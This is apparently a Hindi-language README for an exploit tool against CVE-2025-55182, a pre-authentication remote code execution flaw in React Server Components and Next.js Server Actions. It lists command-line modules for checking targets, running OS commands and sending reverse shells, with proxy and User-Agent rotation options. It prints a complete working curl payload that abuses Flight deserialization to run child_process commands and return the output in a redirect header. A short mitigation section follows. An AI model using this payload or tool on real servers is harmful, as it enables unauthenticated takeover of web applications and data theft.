CVE-2025-55182 — React Server Components (React2Shell) में बिना प्रमाणीकरण के RCE। CVSS 10.0 अधिकृत पैठ परीक्षण के लिए शोषण उपकरण।
React Server Components में Flight प्रोटोकॉल के असुरक्षित डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE। सर्वर पर मनमाना कोड निष्पादित करने के लिए एक HTTP अनुरोध पर्याप्त है — कोई क्रेडेंशियल्स या पूर्व पहुँच की आवश्यकता नहीं।
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
CVE-2025-55182 · CVSS 10.0 · अप्रमाणित · प्री-ऑथ RCE · प्रकटीकृत: 3 दिसंबर 2025
यह React 19 (≤ 19.2.0) और Server Actions का उपयोग करने वाले किसी भी Next.js एप्लिकेशन को प्रभावित करता है। डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित हैं — लक्ष्य पक्ष पर किसी कस्टम कोड की आवश्यकता नहीं।
प्रभावित संस्करण
| पैकेज | असुरक्षित | स्थिर |
|---|
react-server | 19.0.0 → 19.2.0 | 19.3.0+ |
next | सभी जिनमें React 19 अपैच्ड है | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
Python 3.8+ आवश्यक। कोई अन्य निर्भरता नहीं।
python exploit.py <मॉड्यूल> -t <लक्ष्य> [विकल्प]
मॉड्यूल:
check लक्ष्य का फिंगरप्रिंट लें और भेद्यता की पुष्टि करें
exec एकल OS कमांड निष्पादित करें और आउटपुट पढ़ें
revshell अपने लिसनर को रिवर्स शेल भेजें
विकल्प:
-t, --target URL लक्ष्य URL
-c CMD चलाने के लिए कमांड (exec मॉड्यूल)
--lhost IP आपका IP (सेट न होने पर tun0 से स्वतः पता लगाया जाता है)
--lport PORT सुनने का पोर्ट (डिफ़ॉल्ट: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (डिफ़ॉल्ट: bash)
--proxy URL प्रॉक्सी के माध्यम से रूट करें (जैसे http://127.0.0.1:8080)
--random-agent प्रत्येक अनुरोध पर User-Agent घुमाएँ
--timeout N अनुरोध टाइमआउट (डिफ़ॉल्ट: 15)
अनुशंसित कार्यप्रवाह — हमेशा check से शुरू करें:
# 1. पुष्टि करें कि लक्ष्य असुरक्षित है
python exploit.py check -t http://10.10.11.50
# 2. एनुमरेट करने या फ़्लैग प्राप्त करने के लिए कमांड चलाएँ
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. जब इंटरैक्टिविटी की आवश्यकता हो तो शेल प्राप्त करें
# (पहले अपना लिसनर शुरू करें: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
प्रॉक्सी समर्थन और रैंडम User-Agent किसी भी मॉड्यूल के साथ काम करते हैं:
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
प्रति-मॉड्यूल सहायता: python exploit.py <मॉड्यूल> --help
React Server Components एक आंतरिक स्ट्रीमिंग फ़ॉर्मेट का उपयोग करके संचार करते हैं जिसे Flight प्रोटोकॉल कहा जाता है। जब कोई ब्राउज़र Server Action को आमंत्रित करता है, तो वह ऐप रूट पर Next-Action हेडर के साथ एक multipart/form-data POST भेजता है। सर्वर क्रिया आईडी को मान्य करने से पहले — कुछ भी करने से पहले — बॉडी को react-server पैकेज में डिसीरियलाइज़ेशन के लिए पास करता है, जिसमें क्रिया आईडी का सत्यापन भी शामिल है।
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← असुरक्षित
│ │
│<── 307 + X-Action-Redirect ───────│ यहाँ आउटपुट
resolveModelToJSON() के अंदर, डिसीरियलाइज़र आने वाले JSON भाग को पार्स करता है। जब इसे एक ऑब्जेक्ट मिलता है जिसमें then गुण होता है, तो यह इसे Promise मानता है और इसकी प्रतीक्षा करता है — एसिंक्रोनस Server Components के लिए यह इच्छित व्यवहार है। समस्या: यह सुनिश्चित करने के लिए कोई सत्यापन नहीं किया जाता कि thenable किसी विश्वसनीय स्रोत से आया है।
एक हमलावर मल्टीपार्ट बॉडी में एक नकली भाग इंजेक्ट करता है जिसमें एक then गुण होता है जो require('child_process').execSync(...) की ओर इशारा करता है। React इसकी प्रतीक्षा करता है, OS कमांड चलता है।
Next-Action: x क्यों काम करता हैप्रोडक्शन में, Server Actions की पहचान SHA हैश से होती है। प्रसंस्करण से पहले सर्वर को इसे मान्य करना चाहिए। लेकिन Flight डिकोडर उस जाँच से पहले चलता है — इसका मतलब है कि कोई भी POST जिसमें Next-Action हेडर हो, भले ही पूरी तरह से नकली हो जैसे x, असुरक्षित डिसीरियलाइज़ेशन पथ को ट्रिगर करता है। किसी वैध क्रिया आईडी की आवश्यकता नहीं है।
इंजेक्टेड कोड कमांड आउटपुट को कैप्चर करता है और एक गढ़ा हुआ NEXT_REDIRECT एरर फेंकता है:
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
Next.js इसे पकड़ता है और 307 Temporary Redirect में बदल देता है, डाइजेस्ट को X-Action-Redirect रिस्पॉन्स हेडर में एम्बेड करता है। कमांड आउटपुट URL-एन्कोडेड आता है:
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
आउटपुट X-Action-Redirect हेडर में /login?a= के बाद URL-एन्कोडेड होता है।
npm install react@latest react-dom@latest next@latest
न्यूनतम सुरक्षित: react-server ≥ 19.3.0 · next ≥ 15.3.6
यदि पैच करना तुरंत संभव न हो:
next.config.js में experimental: { serverActions: false } सेट करेंNext-Action हेडर को ब्लॉक करेंNEXT_REDIRECT या __proto__ वाले को अस्वीकार करेंकेवल अधिकृत पेनिट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए।